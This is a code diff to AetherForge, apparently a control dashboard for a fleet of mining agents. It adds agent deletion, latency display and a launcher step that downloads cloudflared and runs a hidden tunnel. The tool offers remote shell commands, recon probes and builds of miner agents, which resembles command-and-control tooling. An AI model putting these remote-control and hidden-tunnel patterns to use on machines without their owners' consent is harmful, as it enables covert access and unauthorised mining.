@@ func (d *Database) UpsertAgent(a *models.Agent) error { last_seen = excluded.last_seen, platform = excluded.platform, arch = excluded.arch, - os_version = excluded.os_version` - _, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion) + os_version = excluded.os_version, + hostname = excluded.hostname` + _, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname) return err } @@ -165,6 +167,11 @@ func (d *Database) SetAgentOffline(id string) error { return err } +func (d *Database) DeleteAgent(id string) error { + _, err := d.Exec("DELETE FROM agents WHERE id = ?", id) + return err +} + func (d *Database) GetAgent(id string) (*models.Agent, error) { query := `SELECT ` + agentSelectCols + ` FROM agents WHERE id = ?` return d.scanAgent(d.QueryRow(query, id)) diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index a3a10b9..0680b1e 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -31,6 +31,10 @@ type Agent struct { Platform string `json:"platform,omitempty"` Arch string `json:"arch,omitempty"` OSVersion string `json:"os_version,omitempty"` + Hostname string `json:"hostname,omitempty"` + + // Live connection quality — not persisted, set by WSHub each stats cycle. + LatencyMs *int `json:"latency_ms,omitempty"` Capabilities *AgentCapabilities `json:"capabilities,omitempty"` diff --git a/server/main.go b/server/main.go index 3d8c059..e0db327 100644 --- a/server/main.go +++ b/server/main.go @@ -202,16 +202,19 @@ func main() { HashrateDropPct: cfg.Alerts.HashrateDropThresholdPct, RejectionRatePct: cfg.Alerts.RejectionRateThresholdPct, } - }, alerts.NotifyConfig{ - TelegramBotToken: cfg.Alerts.TelegramBotToken, - TelegramChatID: cfg.Alerts.TelegramChatID, - EmailEnabled: cfg.Alerts.EmailEnabled, - SMTPHost: cfg.Alerts.SMTPHost, - SMTPPort: cfg.Alerts.SMTPPort, - SMTPUser: cfg.Alerts.SMTPUser, - SMTPPassword: cfg.Alerts.SMTPPassword, - EmailTo: cfg.Alerts.EmailTo, - EmailFrom: cfg.Alerts.EmailFrom, + }, func() alerts.NotifyConfig { + // Read live from cfg so Calibrate changes take effect without restart. + return alerts.NotifyConfig{ + TelegramBotToken: cfg.Alerts.TelegramBotToken, + TelegramChatID: cfg.Alerts.TelegramChatID, + EmailEnabled: cfg.Alerts.EmailEnabled, + SMTPHost: cfg.Alerts.SMTPHost, + SMTPPort: cfg.Alerts.SMTPPort, + SMTPUser: cfg.Alerts.SMTPUser, + SMTPPassword: cfg.Alerts.SMTPPassword, + EmailTo: cfg.Alerts.EmailTo, + EmailFrom: cfg.Alerts.EmailFrom, + } }, func(ev alerts.AlertEvent) { wsHub.BroadcastFleetAlert(ev) }) diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 50e3c5c..d3b1845 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -6,21 +6,31 @@ const API_BASE = '/api/v1'; // Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally // omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth. -async function fetchJSON(url: string, options?: RequestInit): Promise { - const { headers: extraHeaders, ...rest } = options ?? {}; - const res = await fetch(`${API_BASE}${url}`, { - ...rest, - headers: { - 'Content-Type': 'application/json', - ...authHeaders(), - ...(extraHeaders as Record | undefined), - }, - }); - if (!res.ok) { - const err = await res.text(); - throw new Error(`API error ${res.status}: ${err}`); +async function fetchJSON(url: string, options?: RequestInit, timeoutMs = 10000): Promise { + const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal }; + const controller = new AbortController(); + const timer = setTimeout(() => controller.abort(), timeoutMs); + if (callerSignal) { + callerSignal.addEventListener('abort', () => controller.abort()); + } + try { + const res = await fetch(`${API_BASE}${url}`, { + ...rest, + signal: controller.signal, + headers: { + 'Content-Type': 'application/json', + ...authHeaders(), + ...(extraHeaders as Record | undefined), + }, + }); + if (!res.ok) { + const err = await res.text(); + throw new Error(`API error ${res.status}: ${err}`); + } + return res.json(); + } finally { + clearTimeout(timer); } - return res.json(); } export const api = { @@ -154,6 +164,15 @@ export const api = { body: JSON.stringify({ agent_ids: agentIds, action }), }), + deleteAgent: (id: string) => + fetchJSON<{ success: boolean }>(`/agents/${id}`, { method: 'DELETE' }), + + bulkDeleteAgents: (ids: string[]) => + fetchJSON<{ success: boolean; deleted: number }>('/agents/bulk-delete', { + method: 'POST', + body: JSON.stringify({ ids }), + }), + createUser: (username: string, password: string) => fetchJSON<{ success: boolean }>('/users', { method: 'POST', diff --git a/server/web/src/components/Fleet/AgentListItem.tsx b/server/web/src/components/Fleet/AgentListItem.tsx index 91bb58b..6c013aa 100644 --- a/server/web/src/components/Fleet/AgentListItem.tsx +++ b/server/web/src/components/Fleet/AgentListItem.tsx @@ -2,6 +2,17 @@ import AgentRemoteActions from './AgentRemoteActions'; import { formatHashrate, formatUptime } from '../../help/fleetFilters'; import type { Agent } from '../../types'; import type { SeqCommandResult } from '../../context/WebSocketContext'; +import LatencyBadge from './LatencyBadge'; + +function formatRelTime(iso: string): string { + const diff = Date.now() - new Date(iso).getTime(); + const mins = Math.floor(diff / 60000); + if (mins < 2) return 'just now'; + if (mins < 60) return `${mins}m ago`; + const hrs = Math.floor(mins / 60); + if (hrs < 24) return `${hrs}h ago`; + return `${Math.floor(hrs / 24)}d ago`; +} interface Props { agent: Agent; @@ -64,7 +75,10 @@ export default function AgentListItem({ )} - {agent.status} +
+ {agent.status} + +
{(agent.tags?.length ?? 0) > 0 && ( @@ -78,7 +92,12 @@ export default function AgentListItem({
{formatHashrate(agent.hashrate_15m)} {agent.ip || '—'} - {!expanded && click for details} + {agent.status !== 'online' && agent.last_seen && ( + + last seen {formatRelTime(agent.last_seen)} + + )} + {!expanded && agent.status === 'online' && click for details}
{!expanded && agent.notes?.trim() && ( diff --git a/server/web/src/components/Fleet/FleetToolbar.tsx b/server/web/src/components/Fleet/FleetToolbar.tsx index 17a6858..80136bd 100644 --- a/server/web/src/components/Fleet/FleetToolbar.tsx +++ b/server/web/src/components/Fleet/FleetToolbar.tsx @@ -96,7 +96,16 @@ export default function FleetToolbar({ - + + )} diff --git a/server/web/src/components/Fleet/LatencyBadge.tsx b/server/web/src/components/Fleet/LatencyBadge.tsx new file mode 100644 index 0000000..eb097ab --- /dev/null +++ b/server/web/src/components/Fleet/LatencyBadge.tsx @@ -0,0 +1,83 @@ +/** + * LatencyBadge — 4-bar cell-signal style indicator for WebSocket RTT. + * + * Bar fill thresholds: + * 4 bars (green) : < 50 ms — excellent + * 3 bars (cyan) : < 150 ms — good + * 2 bars (amber) : < 400 ms — fair + * 1 bar (red) : ≥ 400 ms — poor + * 0 bars (grey) : no data — waiting for first pong + */ + +interface Props { + ms?: number; + /** Compact variant — bars only, no ms label */ + compact?: boolean; +} + +function latencyLevel(ms: number): 0 | 1 | 2 | 3 | 4 { + if (ms < 50) return 4; + if (ms < 150) return 3; + if (ms < 400) return 2; + return 1; +} + +const LEVEL_COLORS: Record = { + 4: '#39ff14', // neon green + 3: '#00f5ff', // cyan + 2: '#ffb020', // amber + 1: '#ff4466', // red + 0: '#444', // grey +}; + +const BAR_HEIGHTS = [5, 8, 11, 14]; // px, bottom-aligned + +export default function LatencyBadge({ ms, compact = false }: Props) { + const level = ms !== undefined ? latencyLevel(ms) : 0; + const color = LEVEL_COLORS[level]; + const label = ms !== undefined ? `${ms}ms` : '—'; + + return ( + + {BAR_HEIGHTS.map((h, i) => { + const filled = (i + 1) <= level; + return ( + + ); + })} + {!compact && ms !== undefined && ( + + {label} + + )} + + ); +} diff --git a/server/web/src/components/PoolPresetPicker.tsx b/server/web/src/components/PoolPresetPicker.tsx index c54937f..04e2807 100644 --- a/server/web/src/components/PoolPresetPicker.tsx +++ b/server/web/src/components/PoolPresetPicker.tsx @@ -18,8 +18,6 @@ interface PoolPresetPickerProps { pass: string; backups?: BackupPool[]; onChange: (next: PoolForgeFields) => void; - /** Show manual host/port fields below presets (Forge advanced). */ - showManualFields?: boolean; } export default function PoolPresetPicker({ @@ -29,7 +27,6 @@ export default function PoolPresetPicker({ pass, backups = [], onChange, - showManualFields = false, }: PoolPresetPickerProps) { const [selectedIds, setSelectedIds] = useState(() => { const detected = detectPresetIds(host, port, tls, backups); @@ -185,60 +182,6 @@ export default function PoolPresetPicker({ )} - {showManualFields && ( -
-
- - - onChange({ - pool_host: e.target.value, - pool_port: port, - pool_tls: tls, - backup_pools: backups, - }) - } - /> -
-
- - - onChange({ - pool_host: host, - pool_port: e.target.valueAsNumber || 3333, - pool_tls: tls, - backup_pools: backups, - }) - } - /> -
- -
- )} ); } diff --git a/server/web/src/components/SessionGate.tsx b/server/web/src/components/SessionGate.tsx index c46f3cc..a53c4ab 100644 --- a/server/web/src/components/SessionGate.tsx +++ b/server/web/src/components/SessionGate.tsx @@ -57,9 +57,6 @@ export default function SessionGate({ children }: { children: ReactNode }) {

AetherForge

Sign in to open the command deck.

-

- First run: password is in the LAUNCH console or data\login-credentials.json next to the server data folder. -

setUser(e.target.value)} autoComplete="username" /> diff --git a/server/web/src/context/WebSocketProvider.tsx b/server/web/src/context/WebSocketProvider.tsx index f60f02f..a51a98c 100644 --- a/server/web/src/context/WebSocketProvider.tsx +++ b/server/web/src/context/WebSocketProvider.tsx @@ -105,6 +105,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) { ); break; } + case 'agent_deleted': { + const { agent_id } = msg.payload as { agent_id: string }; + setAgents((prev) => prev.filter((a) => a.id !== agent_id)); + break; + } case 'stats_update': { const update = msg.payload as WSStatsUpdate; setAgents((prev) => @@ -152,6 +157,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) { ...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}), ...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}), ...(update.services !== undefined ? { services: update.services } : {}), + ...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}), } : a ) diff --git a/server/web/src/pages/AgentsPage.tsx b/server/web/src/pages/AgentsPage.tsx index 0365003..ed5e585 100644 --- a/server/web/src/pages/AgentsPage.tsx +++ b/server/web/src/pages/AgentsPage.tsx @@ -2,6 +2,7 @@ import { useState, useEffect, useMemo, useCallback, useRef } from 'react'; import { api } from '../api/client'; import { useWebSocket } from '../hooks/useWebSocket'; import type { Agent, HashrateSample, ServerInfo } from '../types'; +import LatencyBadge from '../components/Fleet/LatencyBadge'; import HashrateChart from '../components/Charts/HashrateChart'; import NeonCard from '../components/NeonCard/NeonCard'; import AgentRemoteActions from '../components/Fleet/AgentRemoteActions'; @@ -139,9 +140,19 @@ export default function AgentsPage() { } }, [selectedAgent?.id, agentLogs]); + // Sort: online first, then by last_seen desc, then alphabetical + const sortedAgents = useMemo(() => [...agents].sort((a, b) => { + if (a.status === 'online' && b.status !== 'online') return -1; + if (a.status !== 'online' && b.status === 'online') return 1; + const ta = a.last_seen ? new Date(a.last_seen).getTime() : 0; + const tb = b.last_seen ? new Date(b.last_seen).getTime() : 0; + if (tb !== ta) return tb - ta; + return a.name.localeCompare(b.name); + }), [agents]); + const filteredAgents = useMemo( - () => filterFleetAgents(agents, filters), - [agents, filters] + () => filterFleetAgents(sortedAgents, filters), + [sortedAgents, filters] ); const refreshLog = async (refresh = false) => { @@ -199,10 +210,60 @@ export default function AgentsPage() { }); }, []); + const handleDeleteAgent = async (agentId: string) => { + if (!window.confirm('Remove this machine from the fleet roster? This cannot be undone.')) return; + try { + await api.deleteAgent(agentId); + setAgents((prev) => prev.filter((a) => a.id !== agentId)); + if (selectedAgent?.id === agentId) setSelectedAgent(null); + setSelectedIds((prev) => { const next = new Set(prev); next.delete(agentId); return next; }); + } catch (err) { + alert(err instanceof Error ? err.message : 'Delete failed'); + } + }; + + const handleUninstallAndDelete = async (agent: Agent) => { + const label = agent.status === 'online' + ? `Uninstall the miner from "${agent.name}" and remove it from the roster?` + : `"${agent.name}" is offline — it cannot be remotely uninstalled. Remove from roster only?`; + if (!window.confirm(label)) return; + if (agent.status === 'online') { + try { + await api.sendAgentCommand(agent.id, 'uninstall', {}); + } catch { + // Non-fatal — proceed to delete the record regardless + } + } + try { + await api.deleteAgent(agent.id); + setAgents((prev) => prev.filter((a) => a.id !== agent.id)); + if (selectedAgent?.id === agent.id) setSelectedAgent(null); + setSelectedIds((prev) => { const next = new Set(prev); next.delete(agent.id); return next; }); + } catch (err) { + alert(err instanceof Error ? err.message : 'Delete failed'); + } + }; + const handleBulkAction = async (action: string) => { const ids = [...selectedIds]; if (ids.length === 0) return; + if (action === 'delete') { + if (!window.confirm(`Permanently remove ${ids.length} machine(s) from the fleet roster?`)) return; + setBulkBusy(true); + try { + await api.bulkDeleteAgents(ids); + setAgents((prev) => prev.filter((a) => !ids.includes(a.id))); + if (selectedAgent && ids.includes(selectedAgent.id)) setSelectedAgent(null); + setSelectedIds(new Set()); + } catch (err) { + alert(err instanceof Error ? err.message : 'Bulk delete failed'); + } finally { + setBulkBusy(false); + } + return; + } + let targetIds = ids; if (action === 'restart_idle') { targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id); @@ -323,16 +384,57 @@ export default function AgentsPage() { value={tagsDraft} onChange={(e) => setTagsDraft(e.target.value)} /> - +
+ + {selectedAgent.status === 'online' && ( + + )} + +
{metaMsg && {metaMsg}}
Status - {selectedAgent.status} + + {selectedAgent.status} + {selectedAgent.status === 'online' && ( + + )} + +
+ {selectedAgent.hostname && selectedAgent.hostname !== selectedAgent.name && ( +
+ Hostname + {selectedAgent.hostname} +
+ )} +
+ Last Seen + + {selectedAgent.last_seen + ? new Date(selectedAgent.last_seen).toLocaleString() + : '—'} +
Wallet diff --git a/server/web/src/pages/BuildManagerPage.css b/server/web/src/pages/BuildManagerPage.css index 307a2fc..781e09f 100644 --- a/server/web/src/pages/BuildManagerPage.css +++ b/server/web/src/pages/BuildManagerPage.css @@ -217,9 +217,7 @@ font-family: 'Courier New', monospace; font-size: 0.7rem; color: #b8e0d0; - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; + word-break: break-all; min-width: 0; } diff --git a/server/web/src/pages/BuildManagerPage.tsx b/server/web/src/pages/BuildManagerPage.tsx index 73d1933..3dafbdc 100644 --- a/server/web/src/pages/BuildManagerPage.tsx +++ b/server/web/src/pages/BuildManagerPage.tsx @@ -300,23 +300,22 @@ export default function BuildManagerPage() { const loadBuilds = useCallback(async () => { try { - const [list, info] = await Promise.all([ - api.listBuilds(), - api.getServerInfo().catch(() => null), - ]); + const list = await api.listBuilds(); setBuilds(list); - if (info) { - const pub = info.suggested_url?.replace(/\/$/, '') || window.location.origin; - setServerBase(pub); - } else { - setServerBase(window.location.origin); - } setError(''); } catch (e) { setError(e instanceof Error ? e.message : 'Failed to load builds'); } finally { setLoading(false); } + // Load server base URL separately so a slow/hung server-info call + // never blocks the builds list from rendering. + api.getServerInfo() + .then((info) => { + const pub = info?.suggested_url?.trim().replace(/\/$/, ''); + if (pub) setServerBase(pub); + }) + .catch(() => {/* use window.location.origin fallback already set */}); }, []); useEffect(() => { loadBuilds(); }, [loadBuilds]); diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 5bd060f..aa7902a 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -207,18 +207,26 @@ export default function BuilderPage() { const fileInputRef = useRef(null); useEffect(() => { - Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])]) + Promise.all([ + api.getConfig(), + api.getServerInfo().catch(() => null), + api.listBuilds().catch(() => []), + ]) .then(([config, info, builds]) => { setCalibrateConfig(config); - setServerInfo(info); - setListenPort(config.port || info.port || 8989); - const candidates = lanEndpointCandidates(info, config.port || info.port); - const base = defaultsFromConfig(config, info, builds); - setForm(applySmartForgeDefaults(base, { builds, endpointCandidates: candidates })); + if (info) { + setServerInfo(info); + setListenPort(config.port || info.port || 8989); + } else { + setListenPort(config.port || 8989); + } + const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : []; + const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, builds as BuildRecord[]); + setForm(applySmartForgeDefaults(base, { builds: builds as BuildRecord[], endpointCandidates: candidates })); }) .catch((err) => { console.error(err); - setError('Failed to load server info — is the control server running?'); + setError('Failed to load server config — is the control server running?'); }) .finally(() => setLoadingDefaults(false)); }, []); @@ -1096,7 +1104,6 @@ export default function BuilderPage() { tls={form.pool_tls} pass={form.pool_pass || 'x'} backups={form.backup_pools} - showManualFields={!simpleMode} onChange={(next) => { updateField('pool_host', next.pool_host); updateField('pool_port', next.pool_port); diff --git a/server/web/src/pages/CruciblePage.tsx b/server/web/src/pages/CruciblePage.tsx index 00b64d8..3874dfc 100644 --- a/server/web/src/pages/CruciblePage.tsx +++ b/server/web/src/pages/CruciblePage.tsx @@ -3,6 +3,7 @@ import { useWebSocket } from '../hooks/useWebSocket'; import { api } from '../api/client'; import type { Agent, AgentService } from '../types'; import NeonCard from '../components/NeonCard/NeonCard'; +import LatencyBadge from '../components/Fleet/LatencyBadge'; import { formatHashrate } from '../help/fleetFilters'; import './CruciblePage.css'; @@ -18,6 +19,8 @@ interface TermLine { text: string; ts: Date; success?: boolean; + // Whether this agent was in the active selection when the command was dispatched + targeted?: boolean; // Structured data for rich terminal renderers richData?: RichTermData; } @@ -314,6 +317,15 @@ export default function CruciblePage() { const online = (a: Agent) => a.status === 'online'; + // Prune selectedIds when agents are removed (e.g. after roster delete). + useEffect(() => { + const liveIds = new Set(agents.map((a) => a.id)); + setSelectedIds((prev) => { + const pruned = new Set([...prev].filter((id) => liveIds.has(id))); + return pruned.size === prev.size ? prev : pruned; + }); + }, [agents]); + // ── Auto-scroll terminal ─────────────────────────────────────────────── useEffect(() => { @@ -377,23 +389,22 @@ export default function CruciblePage() { } catch { /* malformed JSON — fall through to plain text */ } } - if (selectedIds.size > 0 && !selectedIds.has(aid)) continue; const agent = agents.find((a) => a.id === aid); const name = agent?.name ?? aid.slice(0, 8); + const targeted = selectedIds.size === 0 || selectedIds.has(aid); if (richData) { - // Single rich-rendered line (table/block replaces raw JSON) lines.push({ id: mkId(), agentId: aid, agentName: name, isCmd: false, text: '', ts: new Date(), - success: r.success, richData, + success: r.success, richData, targeted, }); } else { const msgLines = msg.split('\n').filter(Boolean); for (const line of msgLines) { lines.push({ id: mkId(), agentId: aid, agentName: name, - isCmd: false, text: line, ts: new Date(), success: r.success, + isCmd: false, text: line, ts: new Date(), success: r.success, targeted, }); } } @@ -503,19 +514,16 @@ export default function CruciblePage() { const probePosture = (targets?: Agent[]) => { const tgts = targets ?? selectedAgents.filter(online); + if (tgts.length === 0) { alert('No online agents selected.'); return; } Promise.all( tgts.map((a) => api.sendAgentCommand(a.id, 'posture').catch((err) => { setTermLines((prev) => [ ...prev, { - id: mkId(), - agentId: a.id, - agentName: a.name, - isCmd: false, + id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] posture probe: ${err instanceof Error ? err.message : String(err)}`, - ts: new Date(), - success: false, + ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0, }, ]); }) @@ -523,10 +531,13 @@ export default function CruciblePage() { ); }; - // Fires posture + listen_ports + patch_status in parallel for all selected online nodes. + // Fires posture + listen_ports + patch_status in parallel. + // When agents are selected, targets only selection. Otherwise targets all online. const scanSelected = (targets?: Agent[]) => { - const tgts = targets ?? selectedAgents.filter(online); - if (tgts.length === 0) return; + const tgts = targets ?? (selectedAgents.filter(online).length > 0 + ? selectedAgents.filter(online) + : agents.filter(online)); + if (tgts.length === 0) { alert('No online agents available.'); return; } const cmds = ['posture', 'listen_ports', 'patch_status'] as const; for (const a of tgts) { for (const cmd of cmds) { @@ -536,7 +547,7 @@ export default function CruciblePage() { { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`, - ts: new Date(), success: false, + ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0, }, ]); }); @@ -544,6 +555,9 @@ export default function CruciblePage() { } }; + // Focused agent — when exactly one is selected show its details prominently. + const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null; + const handleKey = (e: React.KeyboardEvent) => { if (e.key === 'Enter') { sendCmd(); return; } if (e.key === 'ArrowUp') { @@ -773,6 +787,7 @@ export default function CruciblePage() {
{a.cpu_cores}c {formatHashrate(a.hashrate_15m)} +
{ssh.label}
@@ -866,6 +881,40 @@ export default function CruciblePage() { )} + {/* ── Focused machine banner ──────────────────────────────────────── */} + {focusedAgent && ( +
+ + ▶ ACTIVE TARGET + + + {platformIcon(focusedAgent.platform)} {focusedAgent.name} + + {focusedAgent.ip || '—'} + {focusedAgent.status} + + {focusedAgent.platform ?? ''} {focusedAgent.arch ?? ''} + {focusedAgent.cpu_cores}c · {focusedAgent.memory_gb}GB + {focusedAgent.status !== 'online' && ( + + ⚠ offline — commands will fail until it reconnects + + )} + +
+ )} + {/* ── Groups & Actions ────────────────────────────────────────────── */}
@@ -903,36 +952,40 @@ export default function CruciblePage() {
OPERATIONS + {selectedIds.size > 0 && ( + + → {selectedIds.size === 1 ? selectedAgents[0]?.name ?? '1 node' : `${selectedIds.size} nodes`} + + )}
+ + {/* ── Posture ──────────────────────────────────── */}
- Posture - - + Posture & Recon +
+ {/* ── SSH ──────────────────────────────────────── */}
SSH
+ {/* ── Mining ───────────────────────────────────── */}
Mining -
- -
- Recon -
+ {/* ── Shell type ───────────────────────────────── */}
- Shell + Shell Mode
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
+ {/* ── Selection chips ──────────────────────────── */} {selectedIds.size > 0 && (
{selectedAgents.map((a) => { @@ -1057,10 +1104,12 @@ export default function CruciblePage() { )} {termLines.map((line) => { const color = agentColor(line.agentId, allIds); + const dim = line.targeted === false; return (
{line.agentName.slice(0, 12).padEnd(12)} diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 440b8fb..a9ce9d2 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -67,6 +67,10 @@ export interface Agent { reboot_pending?: boolean; agent_elevated?: boolean; services?: AgentService[]; + + hostname?: string; + // Live RTT from WebSocket ping/pong — undefined until first pong, null when offline. + latency_ms?: number; } export interface AgentService { diff --git a/server/web/src/types/ws.ts b/server/web/src/types/ws.ts index 82a4d29..baf4fbf 100644 --- a/server/web/src/types/ws.ts +++ b/server/web/src/types/ws.ts @@ -52,6 +52,7 @@ export interface WSStatsUpdate { reboot_pending?: boolean; agent_elevated?: boolean; services?: AgentService[]; + latency_ms?: number; } export interface WSCommandResult { diff --git a/usb/LAUNCH.bat b/usb/LAUNCH.bat index 7a62852..f47ad34 100644 --- a/usb/LAUNCH.bat +++ b/usb/LAUNCH.bat @@ -106,7 +106,18 @@ if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints" if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps" :: ---------------------------------------------------------------- -:: 5. Detect LAN IP for display +:: 5. Configure optional Cloudflare tunnel (foreground process, no service) +:: ---------------------------------------------------------------- +set "CLOUDFLARED_BIN=%ROOT%\tools\cloudflared.exe" +set "CF_PID_FILE=%ROOT%\data\cloudflared.pid" +set "CF_TUNNEL_TOKEN=" +if defined AF_TUNNEL_TOKEN set "CF_TUNNEL_TOKEN=%AF_TUNNEL_TOKEN%" +if not defined CF_TUNNEL_TOKEN if exist "%ROOT%\data\cloudflared-token.txt" ( + set /p CF_TUNNEL_TOKEN=<"%ROOT%\data\cloudflared-token.txt" +) + +:: ---------------------------------------------------------------- +:: 6. Detect LAN IP for display :: ---------------------------------------------------------------- set "SERVER_PORT=8989" for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do ( @@ -118,9 +129,10 @@ set "LAN_IP=localhost" set "LAN_IP=%LAN_IP: =%" :: ---------------------------------------------------------------- -:: 6. Kill any stale server process +:: 7. Kill any stale server and tunnel processes :: ---------------------------------------------------------------- taskkill /F /IM AetherForge.exe >nul 2>nul +taskkill /F /IM cloudflared.exe >nul 2>nul ping -n 2 127.0.0.1 >nul echo. @@ -136,6 +148,30 @@ echo Press Ctrl+C to stop. echo ================================================================ echo. +:: Start optional Cloudflare tunnel for this launcher session only. +if defined CF_TUNNEL_TOKEN ( + if not exist "%ROOT%\tools" mkdir "%ROOT%\tools" + if not exist "%CLOUDFLARED_BIN%" ( + echo [Tunnel] Downloading cloudflared.exe... + powershell -NoProfile -ExecutionPolicy Bypass -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe' -OutFile $env:CLOUDFLARED_BIN }" + ) + if exist "%CLOUDFLARED_BIN%" ( + del "%CF_PID_FILE%" 2>nul + echo [Tunnel] Starting Cloudflare tunnel for this session ^(no service install^). + powershell -NoProfile -ExecutionPolicy Bypass -Command "$p = Start-Process -FilePath $env:CLOUDFLARED_BIN -ArgumentList @('tunnel','--no-autoupdate','run','--token',$env:CF_TUNNEL_TOKEN) -WindowStyle Hidden -PassThru; Set-Content -LiteralPath $env:CF_PID_FILE -Value $p.Id" + if errorlevel 1 ( + echo [Tunnel] WARNING: cloudflared failed to start. + ) else ( + echo [Tunnel] Tunnel process started. It will stop when this launcher exits. + ) + ) else ( + echo [Tunnel] WARNING: cloudflared.exe unavailable; tunnel skipped. + ) +) else ( + echo [Tunnel] Disabled. Add token to data\cloudflared-token.txt or set AF_TUNNEL_TOKEN. +) +echo. + :: Open browser after short delay start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'" @@ -143,6 +179,13 @@ start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Second "%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data" set "EC=!ERRORLEVEL!" +if exist "%CF_PID_FILE%" ( + for /f "usebackq" %%P in ("%CF_PID_FILE%") do ( + powershell -NoProfile -ExecutionPolicy Bypass -Command "Stop-Process -Id %%P -Force -ErrorAction SilentlyContinue" >nul 2>nul + ) + del "%CF_PID_FILE%" 2>nul +) + echo. if "!EC!"=="0" ( echo [Server] Stopped normally.